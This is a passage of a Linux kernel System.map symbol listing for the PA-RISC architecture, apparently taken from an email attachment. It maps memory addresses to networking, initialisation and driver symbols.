1036c2bc d netlink_seq_ops=0A=
1036c2cc d rover___0=0A=
1036c2d0 D genl_sock=0A=
1036c2d4 d genl_ctrl_ops=0A=
1036c2f0 d genl_ctrl=0A=
1036c328 d genl_sem=0A=
1036c334 D ipv4_route_table=0A=
1036c6a4 d ip_rt_secret_interval=0A=
1036c6a8 d ip_rt_min_advmss=0A=
1036c6ac d ip_rt_min_pmtu=0A=
1036c6b0 d ip_rt_mtu_expires=0A=
1036c6b4 d ip_rt_gc_elasticity=0A=
1036c6b8 d ip_rt_error_burst=0A=
1036c6bc d ip_rt_error_cost=0A=
1036c6c0 d ip_rt_redirect_silence=0A=
1036c6c4 d ip_rt_redirect_number=0A=
1036c6c8 d ip_rt_redirect_load=0A=
1036c6cc d ip_rt_gc_interval=0A=
1036c6d0 d ip_rt_gc_timeout=0A=
1036c6d4 d ip_rt_gc_min_interval=0A=
1036c6d8 d ipv4_dst_ops=0A=
1036c708 d ip_rt_max_delay=0A=
1036c70c d ip_rt_min_delay=0A=
1036c710 D ip_tos2prio=0A=
1036c720 d rt_cpu_seq_fops=0A=
1036c78c d rt_cache_seq_fops=0A=
1036c7f8 d rt_cache_seq_ops=0A=
1036c808 d rt_cpu_seq_ops=0A=
1036c818 d expire___1=0A=
1036c81c D inet_peer_gc_maxtime=0A=
1036c820 D inet_peer_gc_mintime=0A=
1036c824 D inet_peer_unused_lock=0A=
1036c824 D inet_peer_unused_tailp=0A=
1036c828 D inet_peer_maxttl=0A=
1036c82c D inet_peer_minttl=0A=
1036c830 D inet_peer_threshold=0A=
1036c834 D inet_peer_idlock=0A=
1036c834 d peer_fake_node=0A=
1036c85c d peer_root=0A=
1036c860 d peer_periodic_timer=0A=
1036c878 D ip_frag_mem=0A=
1036c87c D sysctl_ipfrag_secret_interval=0A=
1036c880 D ip_frag_nqueues=0A=
1036c884 D sysctl_ipfrag_time=0A=
1036c888 D sysctl_ipfrag_low_thresh=0A=
1036c88c D sysctl_ipfrag_high_thresh=0A=
1036c890 d ipq_lru_list=0A=
1036c898 D sysctl_ip_default_ttl=0A=
1036c89c D ip_ra_lock=0A=
1036c89c D sysctl_local_port_range=0A=
1036c8a4 D sysctl_tcp_rmem=0A=
1036c8b0 D sysctl_tcp_wmem=0A=
1036c8bc D tcp_orphan_count=0A=
1036c8c0 D sysctl_tcp_fin_timeout=0A=
1036c8c4 D sysctl_tcp_abc=0A=
1036c8c8 D sysctl_tcp_moderate_rcvbuf=0A=
1036c8cc D sysctl_tcp_max_orphans=0A=
1036c8d0 D sysctl_tcp_adv_win_scale=0A=
1036c8d4 D sysctl_tcp_app_win=0A=
1036c8d8 D sysctl_tcp_dsack=0A=
1036c8dc D sysctl_tcp_reordering=0A=
1036c8e0 D sysctl_tcp_fack=0A=
1036c8e4 D sysctl_tcp_sack=0A=
1036c8e8 D sysctl_tcp_window_scaling=0A=
1036c8ec D sysctl_tcp_timestamps=0A=
1036c8f0 D sysctl_tcp_tso_win_divisor=0A=
1036c8f4 D sysctl_tcp_retrans_collapse=0A=
1036c8f8 D sysctl_tcp_retries2=0A=
1036c8fc D sysctl_tcp_retries1=0A=
1036c900 D sysctl_tcp_keepalive_intvl=0A=
1036c904 D sysctl_tcp_keepalive_probes=0A=
1036c908 D sysctl_tcp_keepalive_time=0A=
1036c90c D sysctl_tcp_synack_retries=0A=
1036c910 D sysctl_tcp_syn_retries=0A=
1036c914 D tcp_prot=0A=
1036ca00 D ipv4_specific=0A=
1036ca2c D tcp_request_sock_ops=0A=
1036ca48 d tcp4_seq_afinfo=0A=
1036ca5c D tcp_death_row=0A=
1036cb80 D sysctl_tcp_syncookies=0A=
1036cb84 D tcp_init_congestion_ops=0A=
1036cbcc D tcp_reno=0A=
1036cc14 d tcp_cong_list=0A=
1036cc1c D raw_prot=0A=
1036cd08 d raw_seq_fops=0A=
1036cd08 D raw_v4_lock=0A=
1036cd74 d raw_seq_ops=0A=
1036cd84 D udp_prot=0A=
1036ce70 d udp4_seq_afinfo=0A=
1036ce70 D udp_hash_lock=0A=
1036ce84 D arp_tbl=0A=
1036cf7c D arp_broken_ops=0A=
1036cf9c d arp_generic_ops=0A=
1036cfbc d arp_hh_ops=0A=
1036cfdc d arp_direct_ops=0A=
1036cffc d arp_netdev_notifier=0A=
1036d008 d arp_packet_type=0A=
1036d020 d arp_seq_fops=0A=
1036d08c d arp_seq_ops=0A=
1036d09c D sysctl_icmp_ratemask=0A=
1036d0a0 D sysctl_icmp_ratelimit=0A=
1036d0a4 D sysctl_icmp_echo_ignore_broadcasts=0A=
1036d0a8 D icmp_err_convert=0A=
1036d128 D ipv4_devconf=0A=
1036d17c d ipv4_devconf_dflt=0A=
1036d1d0 d devinet_sysctl=0A=
1036d6d0 d inet_rtnetlink_table=0A=
1036d870 d ip_netdev_notifier=0A=
1036d87c D inet_dgram_ops=0A=
1036d8c4 D inet_stream_ops=0A=
1036d90c d ip_packet_type=0A=
1036d924 d inetsw_array=0A=
1036d984 d inet_sockraw_ops=0A=
1036d9cc d tcp_protocol=0A=
1036d9d8 d udp_protocol=0A=
1036d9e4 d icmp_protocol=0A=
1036d9f0 d inet_family_ops=0A=
1036da04 D sysctl_igmp_max_msf=0A=
1036da08 D sysctl_igmp_max_memberships=0A=
1036da0c d igmp_mcf_seq_fops=0A=
1036da78 d igmp_mc_seq_fops=0A=
1036dae4 d igmp_mc_seq_ops=0A=
1036daf4 d igmp_mcf_seq_ops=0A=
1036db04 D ipv4_table=0A=
1036e5ac d ip_local_port_range_max=0A=
1036e5b4 d ip_local_port_range_min=0A=
1036e5bc d tcp_retr1_max=0A=
1036e5c0 d fib_inetaddr_notifier=0A=
1036e5cc d fib_netdev_notifier=0A=
1036e5d8 d fib_seq_fops=0A=
1036e644 d fib_seq_ops=0A=
1036e654 d fn_hash_last_dflt=0A=
1036e658 d sockstat_seq_fops=0A=
1036e6c4 d snmp_seq_fops=0A=
1036e730 d netstat_seq_fops=0A=
1036e79c d smooth_part=0A=
1036e7a0 d __param_str_smooth_part=0A=
1036e7b4 d initial_ssthresh=0A=
1036e7b8 d __param_str_initial_ssthresh=0A=
1036e7d4 d low_utilization_period=0A=
1036e7d8 d __param_str_low_utilization_period=0A=
1036e7f8 d low_utilization_threshold=0A=
1036e7fc d __param_str_low_utilization_threshold=0A=
1036e820 d beta=0A=
1036e824 d __param_str_beta=0A=
1036e834 d low_window=0A=
1036e838 d __param_str_low_window=0A=
1036e84c d max_increment=0A=
1036e850 d __param_str_max_increment=0A=
1036e868 d fast_convergence=0A=
1036e86c d __param_str_fast_convergence=0A=
1036e888 d bictcp=0A=
1036e8d0 D sysctl_unix_max_dgram_qlen=0A=
1036e8d0 D unix_table_lock=0A=
1036e8d4 d unix_seq_fops=0A=
1036e940 d unix_family_ops=0A=
1036e954 d unix_proto=0A=
1036ea40 d unix_seqpacket_ops=0A=
1036ea88 d unix_dgram_ops=0A=
1036ead0 d unix_stream_ops=0A=
1036eb18 d unix_seq_ops=0A=
1036eb28 d ordernum___1=0A=
1036eb2c D unix_tot_inflight=0A=
1036eb30 d gc_current=0A=
1036eb34 d unix_gc_sem___0=0A=
1036eb40 d unix_root_table=0A=
1036eb98 d unix_net_table=0A=
1036ebf0 d unix_table=0A=
1036ec48 d packet_seq_fops=0A=
1036ecb4 d packet_netdev_notifier=0A=
1036ecc0 d packet_family_ops=0A=
1036ecd4 d packet_proto=0A=
1036edc0 d packet_ops_spkt=0A=
1036ee08 d packet_ops=0A=
1036ee50 d packet_mmap_ops=0A=
1036ee60 d packet_seq_ops=0A=
1036ee70 D net_table=0A=
1036ef20 D kallsyms_addresses=0A=
10376390 D kallsyms_num_syms=0A=
10376394 D kallsyms_names=0A=
10387ec8 D kallsyms_markers=0A=
10387f40 D kallsyms_token_table=0A=
103882a4 D kallsyms_token_index=0A=
10389000 D swapper_pg_dir=0A=
1038b000 D pg0=0A=
1038f000 D _GLOBAL_OFFSET_TABLE_=0A=
10390000 A __nosave_begin=0A=
10390000 A __nosave_end=0A=
10390000 D irq_desc=0A=
10390000 D tasklist_lock=0A=
10391800 D tcp_hashinfo=0A=
10391900 d mem_limit=0A=
10391904 D pmem_ranges=0A=
1039190c D npmem_ranges=0A=
10391910 D vmalloc_start=0A=
10391914 D empty_zero_page=0A=
10391918 d sysram_resources=0A=
10391934 D parisc_cache_flush_threshold=0A=
10391938 D split_tlb=0A=
1039193c D dcache_stride=0A=
10391940 D icache_stride=0A=
10391944 D cache_info=0A=
103919bc D proc_mckinley_root=0A=
103919c0 D proc_gsc_root=0A=
103919c4 D proc_runway_root=0A=
103919c8 D command_line=0A=
10391dc8 d clocktick=0A=
10391dcc d halftick=0A=
10391dd0 D pdc_type=0A=
10391dd4 D hppa_dma_ops=0A=
10391dd8 D unaligned_enabled=0A=
10391ddc d cpu_driver=0A=
10391e7c d processor_tbl=0A=
10391e8c D boot_cpu_data=0A=
10391f2c D cpu_data=0A=
10391f68 d kernel_unwind_table=0A=
10391f8c d cpu_devices=0A=
10391fd0 D timer_hook=0A=
10391fd4 d prof_on=0A=
10391fd8 D node_possible_map=0A=
10391fdc D node_online_map=0A=
10391fe0 D pgdat_list=0A=
10391fe4 D zone_table=0A=
10391ff4 D totalram_pages=0A=
10391ff8 D totalhigh_pages=0A=
10391ffc D sysctl_max_map_count=0A=
10392000 d shmem_backing_dev_info=0A=
1039201c d bvec_slabs=0A=
10392064 d hash_mask=0A=
10392068 d hash_bits=0A=
1039206c d height_to_maxindex=0A=
10392088 d astro_iop_base=0A=
1039208c d lasi_power_off_hpa=0A=
10392090 d led_type=0A=
10392094 d led_diskio=0A=
10392098 d led_lanrxtx=0A=
1039209c d led_heartbeat=0A=
103920a0 d lcd_info=0A=
103920c0 d lcd_text=0A=
103920e0 d lcd_text_default=0A=
10392100 d led_func_ptr=0A=
10392108 d pdcs_size=0A=
1039210c D pwrsw_enabled=0A=
10392110 d powering_off___1=0A=
10392114 d shutdown_timer=0A=
10392118 d trickle_thresh=0A=
1039211c d sock_inode_cachep=0A=
10392120 d sock_mnt=0A=
10392124 d skbuff_head_cache=0A=
10392128 d skbuff_fclone_cache=0A=
1039212c d nla_attr_minlen=0A=
10392140 d ctrl_policy=0A=
1039214c d peer_cachep=0A=
10392150 D ip_statistics=0A=
10392158 D tcp_statistics=0A=
10392160 D udp_statistics=0A=
10392168 D icmp_statistics=0A=
10392170 D net_statistics=0A=
10392178 d fn_hash_kmem=0A=
1039217c d fn_alias_kmem=0A=
10392180 A _edata=0A=
10394000 D init_thread_union=0A=
10398000 D interrupt_stack=0A=
103a0000 A __init_begin=0A=
103a0000 T _sinittext=0A=
103a0118 t nosmp=0A=
103a0128 t maxcpus=0A=
103a0154 t debug_kernel=0A=
103a0174 t quiet_kernel=0A=
103a0194 t loglevel=0A=
103a01c0 t unknown_bootoption=0A=
103a043c t init_setup=0A=
103a046c t rdinit_setup=0A=
103a049c t do_early_param=0A=
103a053c T parse_early_param=0A=
103a05b4 T start_kernel=0A=
103a0794 t initcall_debug_setup=0A=
103a07a8 t load_ramdisk=0A=
103a07d8 t readonly=0A=
103a07fc t readwrite=0A=
103a0820 t root_dev_setup=0A=
103a084c t root_data_setup=0A=
103a085c t fs_names_setup=0A=
103a086c t root_delay_setup=0A=
103a0898 T mount_block_root=0A=
103a0afc T mount_root=0A=
103a0b6c T prepare_namespace=0A=
103a0c50 t error=0A=
103a0c64 t malloc=0A=
103a0c80 t free=0A=
103a0c98 t read_into=0A=
103a0d28 t do_start=0A=
103a0d54 t do_collect=0A=
103a0e38 t do_header=0A=
103a1094 t do_skip=0A=
103a1194 t do_reset=0A=
103a1254 t maybe_link=0A=
103a1368 t do_name=0A=
103a1534 t do_copy=0A=
103a1658 t do_symlink=0A=
103a16f0 t write_buffer=0A=
103a1750 t huft_free=0A=
103a1784 t huft_build=0A=
103a1c14 t flush_window=0A=
103a1d54 t inflate_codes=0A=
103a21e4 t inflate_fixed=0A=
103a2374 t inflate_dynamic=0A=
103a2950 t gzip_release=0A=
103a2954 T populate_rootfs=0A=
103a3354 t lpj_setup=0A=
103a3380 T mem_init=0A=
103a3404 t map_pages=0A=
103a35c8 T paging_init=0A=
103a3dbc T parisc_cache_init=0A=
103a3ebc T setup_cmdline=0A=
103a3f30 T setup_arch=0A=
103a3fac t parisc_init=0A=
103a41c4 T check_ivt=0A=
103a4270 T trap_init=0A=
103a42b8 T time_init=0A=
103a4400 T init_IRQ=0A=
103a446c T set_firmware_width=0A=
103a4470 T pdc_soft_power_info=0A=
103a44e4 T pdc_coproc_cfg=0A=
103a4558 T pdc_chassis_info=0A=
103a4628 T parisc_hardware_description=0A=
103a46e8 T parisc_get_cpu_type=0A=
103a4738 T setup_pdc=0A=
103a47e8 t pagezero_memconfig=0A=
103a4820 T do_memory_inventory=0A=
103a48b0 T do_device_inventory=0A=
103a4a38 t processor_probe=0A=
103a4acc T collect_boot_cpu_data=0A=
103a4c20 T init_per_cpu=0A=
103a4ce0 T processor_init=0A=
103a4d00 T pdc_console_init=0A=
103a4d24 T parisc_pdc_chassis_init=0A=
103a4d28 t topology_init=0A=
103a4d54 t pcibios_init=0A=
103a4da4 T pcibios_init_bus=0A=
103a4e20 T sched_init_smp=0A=
103a4e38 T sched_init=0A=
103a4f40 T fork_init=0A=
103a4fec T proc_caches_init=0A=
103a50f0 t panic_setup=0A=
103a511c t printk_time_setup=0A=
103a513c T add_preferred_console=0A=
103a522c t console_setup=0A=
103a5310 t log_buf_len_setup=0A=
103a5484 t profile_setup=0A=
103a5584 T profile_init=0A=
103a55f0 t create_proc_profile=0A=
103a564c T softirq_init=0A=
103a5688 T spawn_ksoftirqd=0A=
103a56c8 t ioresources_init=0A=
103a5728 t reserve_setup=0A=
103a5804 T sysctl_init=0A=
103a5838 T init_timers=0A=
103a5874 t uid_cache_init=0A=
103a5900 T signals_init=0A=
103a593c T usermodehelper_init=0A=
103a5998 T pidhash_init=0A=
103a5abc T pidmap_init=0A=
103a5b34 T rcu_init=0A=
103a5ba0 T sort_main_extable=0A=
103a5bc8 t kernel_param_sysfs_setup=0A=
103a5ca4 t param_sysfs_init=0A=
103a5e6c t init_posix_timers=0A=
103a5f28 t helper_init=0A=
103a5f88 t init_posix_cpu_timers=0A=
103a600c t init=0A=
103a6074 t kallsyms_init=0A=
103a60b0 t ikconfig_init=0A=
103a6104 t ksysfs_init=0A=
103a6144 T noirqdebug_setup=0A=
103a6174 t irqfixup_setup=0A=
103a61b0 t irqpoll_setup=0A=
103a61ec T bootmem_bootmap_pages=0A=
103a6200 t init_bootmem_core=0A=
103a6270 t reserve_bootmem_core=0A=
103a6338 t free_bootmem_core=0A=
103a63fc t __alloc_bootmem_core=0A=
103a67f4 T __alloc_bootmem_limit=0A=
103a6884 T __alloc_bootmem_node_limit=0A=
103a68f4 t free_all_bootmem_core=0A=
103a6c4c T init_bootmem_node=0A=
103a6c64 T reserve_bootmem_node=0A=
103a6c80 T free_bootmem_node=0A=
103a6c9c T free_all_bootmem_node=0A=
103a6cb4 T init_bootmem=0A=
103a6cf4 T reserve_bootmem=0A=
103a6d1c T free_bootmem=0A=
103a6d44 T free_all_bootmem=0A=
103a6d64 t build_zonelists_node=0A=
103a6e24 T build_all_zonelists=0A=
103a6f4c T free_area_init_node=0A=
103a73a0 T free_area_init=0A=
103a73d0 T page_alloc_init=0A=
103a73d4 t init_per_zone_pages_min=0A=
103a7438 T alloc_large_system_hash=0A=
103a76d0 T page_writeback_init=0A=
103a77c4 t pdflush_init=0A=
103a77e8 t cpucache_init=0A=
103a7808 T kmem_cache_init=0A=
103a7c1c T swap_setup=0A=
103a7c44 t kswapd_init=0A=
103a7ca8 T anon_vma_init=0A=
103a7cec t procswaps_init=0A=
103a7d28 t init_tmpfs=0A=
103a7e2c T files_init=0A=
103a7e68 T buffer_init=0A=
103a7edc t init_bio=0A=
103a8028 T unnamed_dev_init=0A=
103a8048 T bdev_cache_init=0A=
103a80e0 T chrdev_init=0A=
103a8110 t init_pipe_fs=0A=
103a8174 t fasync_init=0A=
103a81b4 t filelock_init=0A=
103a81fc t set_dhash_entries=0A=
103a8234 T vfs_caches_init_early=0A=
103a82ec T vfs_caches_init=0A=
103a8480 t set_ihash_entries=0A=
103a84b8 T inode_init_early=0A=
103a856c T inode_init=0A=
103a865c T files_defer_init=0A=
103a86c4 T mnt_init=0A=
103a88ec t aio_setup=0A=
103a896c t inotify_setup=0A=
103a8a6c t eventpoll_init=0A=
103a8b74 t init_script_binfmt=0A=
103a8b94 t init_elf_binfmt=0A=
103a8bb4 t dnotify_init=0A=
103a8bf4 T proc_init_inodecache=0A=
103a8c40 T proc_root_init=0A=
103a8d68 T proc_tty_init=0A=
103a8e14 T proc_misc_init=0A=
103a900c T sysfs_init=0A=
103a90d4 t init_devpts_fs=0A=
103a911c t init_reiserfs_fs=0A=
103a91c0 t init_ext3_fs=0A=
103a9234 T journal_init_revoke_caches=0A=
103a92c0 t journal_init=0A=
103a93d4 t init_ramfs_fs=0A=
103a93f4 T init_rootfs=0A=
103a9414 t init_iso9660_fs=0A=
103a9488 t ipc_init=0A=
103a94b4 T ipc_init_proc_interface=0A=
103a9564 T ipc_init_ids=0A=
103a9640 T msg_init=0A=
103a968c T sem_init=0A=
103a96e0 T shm_init=0A=
103a9728 t init_mqueue_fs=0A=
103a9838 t init_crypto=0A=
103a9864 T crypto_init_proc=0A=
103a989c t init=0A=
103a98bc t init=0A=
103a98dc t init=0A=
103a98fc t elevator_setup=0A=
103a9928 T blk_dev_init=0A=
103a9a00 t genhd_device_init=0A=
103a9a4c t noop_init=0A=
103a9a6c t as_init=0A=
103a9ae4 t deadline_init=0A=
103a9b5c t cfq_init=0A=
103a9c50 t kobject_uevent_init=0A=
103a9c9c T prio_tree_init=0A=
103a9cdc T radix_tree_init=0A=
103a9d5c t pcibus_class_init=0A=
103a9d7c t quirk_alimagik=0A=
103a9dbc t quirk_mediagx_master=0A=
103a9e2c t quirk_disable_pxb=0A=
103a9ec4 t quirk_ide_samemode=0A=
103a9f60 t quirk_eisa_bridge=0A=
103a9f70 t asus_hides_smbus_hostbridge=0A=
103aa22c t asus_hides_smbus_lpc=0A=
103aa2dc t asus_hides_smbus_lpc_ich6=0A=
103aa374 t quirk_sis_96x_smbus=0A=
103aa400 t quirk_sis_503=0A=
103aa4b8 t quirk_sis_96x_compatible=0A=
103aa4c8 t pci_driver_init=0A=
103aa4e8 t pci_sysfs_init=0A=
103aa52c t pci_proc_init=0A=
103aa5dc T pci_assign_unassigned_resources=0A=
103aa678 T iosapic_init=0A=
103aa768 T sba_init=0A=
103aa788 t lba_driver_probe=0A=
103aaca4 T lba_init=0A=
103aacc4 T ccio_init=0A=
103aace4 T gsc_init=0A=
103aad20 T hppb_init=0A=
103aad40 t dino_bios_init=0A=
103aad44 t dino_fixup_bus=0A=
103ab1e0 t dino_probe=0A=
103ab864 T dino_init=0A=
103ab888 T lasi_led_init=0A=
103ab904 T lasi_init_chip=0A=
103ababc T asp_init_chip=0A=
103abc24 T wax_init_chip=0A=
103abd78 t led_create_procfs=0A=
103abe60 T register_led_driver=0A=
103abfac T register_led_regions=0A=
103ac058 T led_init=0A=
103ac1e8 t pdc_stable_init=0A=
103ac440 t power_init=0A=
103ac528 t sticon_startup=0A=
103ac534 T sticonsole_init=0A=
103ac5bc T sti_rom_copy=0A=
103ac624 t sti_setup=0A=
103ac650 t sti_font_setup=0A=
103ac778 T sti_select_fbfont=0A=
103ac8bc T sti_select_font=0A=
103ac99c t sti_search_font=0A=
103ac9d0 t sti_bmode_rom_copy=0A=
103aca10 T sti_get_wmode_rom=0A=
103aca64 T sti_read_rom=0A=
103acd88 t sti_try_rom_generic=0A=
103ad1a4 t sticore_check_for_default_sti=0A=
103ad1e0 t sticore_pa_init=0A=
103ad294 t fb_console_setup=0A=
103ad518 t fb_console_init=0A=
103ad5c4 t fbmem_init=0A=
103ad674 t video_setup=0A=
103ad70c T stifb_init_fb=0A=
103ae0b0 T stifb_setup=0A=
103ae174 T stifb_init=0A=
103ae264 t chr_dev_init=0A=
103ae30c t rand_initialize=0A=
103ae350 t seqgen_init=0A=
103ae370 T console_init=0A=
103ae3c8 t tty_class_init=0A=
103ae3fc t tty_init=0A=
103ae61c t pty_init=0A=
103aea68 t misc_init=0A=
103aeb0c T vcs_init=0A=
103aebb8 T console_map_init=0A=
103aec08 T kbd_init=0A=
103aecfc t con_init=0A=
103aef54 T vty_init=0A=
103af058 t rtc_generic_init=0A=
103af0d0 t serio_init=0A=
103af198 t gscps2_probe=0A=
103af3e4 t gscps2_init=0A=
103af408 T devices_init=0A=
103af428 T system_bus_init=0A=
103af458 T buses_init=0A=
103af478 T classes_init=0A=
103af4c8 T platform_bus_init=0A=
103af4f4 T cpu_dev_init=0A=
103af514 T firmware_init=0A=
103af534 T driver_init=0A=
103af580 T attribute_container_init=0A=
103af598 t firmware_class_init=0A=
103af61c t probe_list2=0A=
103af6a0 t net_olddevs_init=0A=
103af778 T loopback_init=0A=
103af7d4 t init_scsi=0A=
103af8a4 T scsi_init_queue=0A=
103af954 T scsi_init_devinfo=0A=
103afa20 T scsi_init_sysctl=0A=
103afa54 T scsi_init_procfs=0A=
103afac0 t spi_transport_init=0A=
103afb08 t sym2_init=0A=
103afc38 t zalon_probe=0A=
103afe78 t zalon7xx_init=0A=
103afeb8 t ncr_script_copy_and_bind=0A=
103b01b0 t ncrgetfreq=0A=
103b03ac t ncr53c8xx_setup=0A=
103b0708 T ncr_attach=0A=
103b17e8 T ncr53c8xx_init=0A=
103b1818 t NCR_700_init=0A=
103b1848 t lasi700_probe=0A=
103b1a08 t lasi700_init=0A=
103b1a28 t st_setup=0A=
103b1ba4 t init_st=0A=
103b1cc8 t init_sd=0A=
103b1d38 t init_sr=0A=
103b1d70 t init_sg=0A=
103b1ec8 t cdrom_init=0A=
103b1ee4 t input_init=0A=
103b2068 t mousedev_init=0A=
103b2148 t evdev_init=0A=
103b216c t atkbd_init=0A=
103b2194 t hwmon_init=0A=
103b21e8 T sock_init=0A=
103b2258 T sk_init=0A=
103b22ac t proto_init=0A=
103b22f4 T skb_init=0A=
103b236c T netdev_boot_setup=0A=
103b2474 t net_dev_init=0A=
103b267c T dev_mcast_init=0A=
103b26b8 T dst_init=0A=
103b26d8 T rtnetlink_init=0A=
103b27ac T net_random_init=0A=
103b27d8 t netlink_proto_init=0A=
103b2a10 t genl_init=0A=
103b2acc t set_rhash_entries=0A=
103b2b04 T ip_rt_init=0A=
103b2df0 T inet_initpeers=0A=
103b2f1c T ip_init=0A=
103b2f38 t set_thash_entries=0A=
103b2f70 T tcp_init=0A=
103b3268 T tcp4_proc_init=0A=
103b3288 T tcp_v4_init=0A=
103b3304 T raw_proc_init=0A=
103b334c T raw_proc_exit=0A=
103b3374 T udp4_proc_init=0A=
103b3394 T arp_init=0A=
103b3424 T icmp_init=0A=
103b34bc T devinet_init=0A=
103b352c t inet_init=0A=
103b3998 T igmp_mc_proc_init=0A=
103b3a00 T ip_fib_init=0A=
103b3a6c T fib_hash_init=0A=
103b3b70 T fib_proc_init=0A=
103b3bb8 T fib_proc_exit=0A=
103b3be0 T ip_misc_proc_init=0A=
103b3cac t bictcp_register=0A=
103b3ccc t af_unix_init=0A=
103b3d54 t packet_init=0A=
103b3dc8 t __setup_str_initcall_debug_setup=0A=
103b3dc8 T _einittext=0A=
103b3dd8 t __setup_str_rdinit_setup=0A=
103b3de0 t __setup_str_init_setup=0A=
103b3de8 t __setup_str_loglevel=0A=
103b3df4 t __setup_str_quiet_kernel=0A=
103b3dfc t __setup_str_debug_kernel=0A=
103b3e04 t __setup_str_maxcpus=0A=
103b3e10 t __setup_str_nosmp=0A=
103b3e18 t done___0=0A=
103b3e1c t tmp_cmdline___1=0A=
103b421c t initcall_debug=0A=
103b4220 t __setup_str_root_delay_setup=0A=
103b422c t __setup_str_fs_names_setup=0A=
103b4238 t __setup_str_root_data_setup=0A=
103b4244 t __setup_str_root_dev_setup=0A=
103b424c t __setup_str_readwrite=0A=
103b4250 t __setup_str_readonly=0A=
103b4254 t __setup_str_load_ramdisk=0A=
103b4264 T root_device_name=0A=
103b4268 T rd_doload=0A=
103b426c t saved_root_name=0A=
103b42ac t root_mount_data=0A=
103b42b0 t root_fs_names=0A=
103b42b4 t root_delay=0A=
103b42b8 t actions=0A=
103b42d8 t message=0A=
103b42dc t head=0A=
103b435c t ino=0A=
103b4360 t major=0A=
103b4364 t minor=0A=
103b4368 t nlink=0A=
103b436c t mode=0A=
103b4370 t body_len=0A=
103b4374 t name_len=0A=
103b4378 t uid=0A=
103b437c t gid=0A=
103b4380 t rdev=0A=
103b4384 t state=0A=
103b4388 t next_state=0A=
103b438c t victim=0A=
103b4390 t count=0A=
103b4398 t this_header=0A=
103b43a0 t next_header=0A=
103b43a8 t dry_run=0A=
103b43ac t collected=0A=
103b43b0 t remains=0A=
103b43b4 t collect=0A=
103b43b8 t header_buf=0A=
103b43bc t symlink_buf=0A=
103b43c0 t name_buf=0A=
103b43c4 t wfd=0A=
103b43c8 t __setup_str_lpj_setup=0A=
103b43d0 t hp_cpu_type_mask_list=0A=
103b4630 t hp_hardware_list=0A=
103ceaa8 t __setup_str_panic_setup=0A=
103ceab0 t __setup_str_printk_time_setup=0A=
103ceab8 t __setup_str_log_buf_len_setup=0A=
103ceac8 t __setup_str_console_setup=0A=
103cead4 t __setup_str_profile_setup=0A=
103ceae0 t schedstr___0=0A=
103ceaec t __setup_str_reserve_setup=0A=
103ceaf8 t __setup_str_irqpoll_setup=0A=
103ceb00 t __setup_str_irqfixup_setup=0A=
103ceb0c t __setup_str_noirqdebug_setup=0A=
103ceb18 T hashdist=0A=
103ceb1c T nr_kernel_pages=0A=
103ceb20 T nr_all_pages=0A=
103ceb24 t cache_names=0A=
103ceb9c t initarray_cache=0A=
103cebb0 T initkmem_list3=0A=
103cec40 t __setup_str_set_dhash_entries=0A=
103cec50 t dhash_entries=0A=
103cec54 t __setup_str_set_ihash_entries=0A=
103cec64 t ihash_entries=0A=
103cec68 t __setup_str_elevator_setup=0A=
103cec74 t __setup_str_pci_setup=0A=
103cec7c t asus_hides_smbus=0A=
103cec80 t __setup_str_sti_font_setup=0A=
103cec8c t __setup_str_sti_setup=0A=
103cec94 t font_name=0A=
103ceca4 t font_index=0A=
103cecb4 t font_height=0A=
103cecc4 t font_width=0A=
103cecd4 t __setup_str_fb_console_setup=0A=
103cecdc t __setup_str_video_setup=0A=
103cece4 t __setup_str_stifb_setup=0A=
103cecec t stifb_bpp_pref=0A=
103cecfc t stifb_disabled=0A=
103ced00 t parport_probes=0A=
103ced08 t isa_probes=0A=
103ced10 t mca_probes=0A=
103ced18 t eisa_probes=0A=
103ced20 t m68k_probes=0A=
103ced28 t scsi_static_device_list=0A=
103cf608 t zalon720_chip=0A=
103cf614 t __setup_str_ncr53c8xx_setup=0A=
103cf620 t driver_safe_setup=0A=
103cf6c0 t setup_token=0A=
103cf754 t scripth0=0A=
103d0bac t script0=0A=
103d1a3c t __setup_str_st_setup=0A=
103d1a40 t parms=0A=
103d1a60 t __setup_str_67=0A=
103d1a74 t __setup_str_66=0A=
103d1a80 t __setup_str_65=0A=
103d1a8c t __setup_str_netdev_boot_setup=0A=
103d1a94 t __setup_str_netdev_boot_setup=0A=
103d1a9c t __setup_str_set_rhash_entries=0A=
103d1aac t rhash_entries=0A=
103d1ab0 t __setup_str_set_thash_entries=0A=
103d1ac0 t thash_entries=0A=
103d1ad0 t __setup_initcall_debug_setup=0A=
103d1ad0 A __setup_start=0A=
103d1adc t __setup_rdinit_setup=0A=
103d1ae8 t __setup_init_setup=0A=
103d1af4 t __setup_loglevel=0A=
103d1b00 t __setup_quiet_kernel=0A=
103d1b0c t __setup_debug_kernel=0A=
103d1b18 t __setup_maxcpus=0A=
103d1b24 t __setup_nosmp=0A=
103d1b30 t __setup_root_delay_setup=0A=
103d1b3c t __setup_fs_names_setup=0A=
103d1b48 t __setup_root_data_setup=0A=
103d1b54 t __setup_root_dev_setup=0A=
103d1b60 t __setup_readwrite=0A=
103d1b6c t __setup_readonly=0A=
103d1b78 t __setup_load_ramdisk=0A=
103d1b84 t __setup_lpj_setup=0A=
103d1b90 t __setup_panic_setup=0A=
103d1b9c t __setup_printk_time_setup=0A=
103d1ba8 t __setup_log_buf_len_setup=0A=
103d1bb4 t __setup_console_setup=0A=
103d1bc0 t __setup_profile_setup=0A=
103d1bcc t __setup_reserve_setup=0A=
103d1bd8 t __setup_irqpoll_setup=0A=
103d1be4 t __setup_irqfixup_setup=0A=
103d1bf0 t __setup_noirqdebug_setup=0A=
103d1bfc t __setup_set_dhash_entries=0A=
103d1c08 t __setup_set_ihash_entries=0A=
103d1c14 t __setup_elevator_setup=0A=
103d1c20 t __setup_pci_setup=0A=
103d1c2c t __setup_sti_font_setup=0A=
103d1c38 t __setup_sti_setup=0A=
103d1c44 t __setup_fb_console_setup=0A=
103d1c50 t __setup_video_setup=0A=
103d1c5c t __setup_stifb_setup=0A=
103d1c68 t __setup_ncr53c8xx_setup=0A=
103d1c74 t __setup_st_setup=0A=
103d1c80 t __setup_67=0A=
103d1c8c t __setup_66=0A=
103d1c98 t __setup_65=0A=
103d1ca4 t __setup_netdev_boot_setup=0A=
103d1cb0 t __setup_netdev_boot_setup=0A=
103d1cbc t __setup_set_rhash_entries=0A=
103d1cc8 t __setup_set_thash_entries=0A=
103d1cd4 t __initcall_helper_init=0A=
103d1cd4 A __initcall_start=0A=
103d1cd4 A __setup_end=0A=
103d1cd8 t __initcall_ksysfs_init=0A=
103d1cdc t __initcall_filelock_init=0A=
103d1ce0 t __initcall_init_script_binfmt=0A=
103d1ce4 t __initcall_init_elf_binfmt=0A=
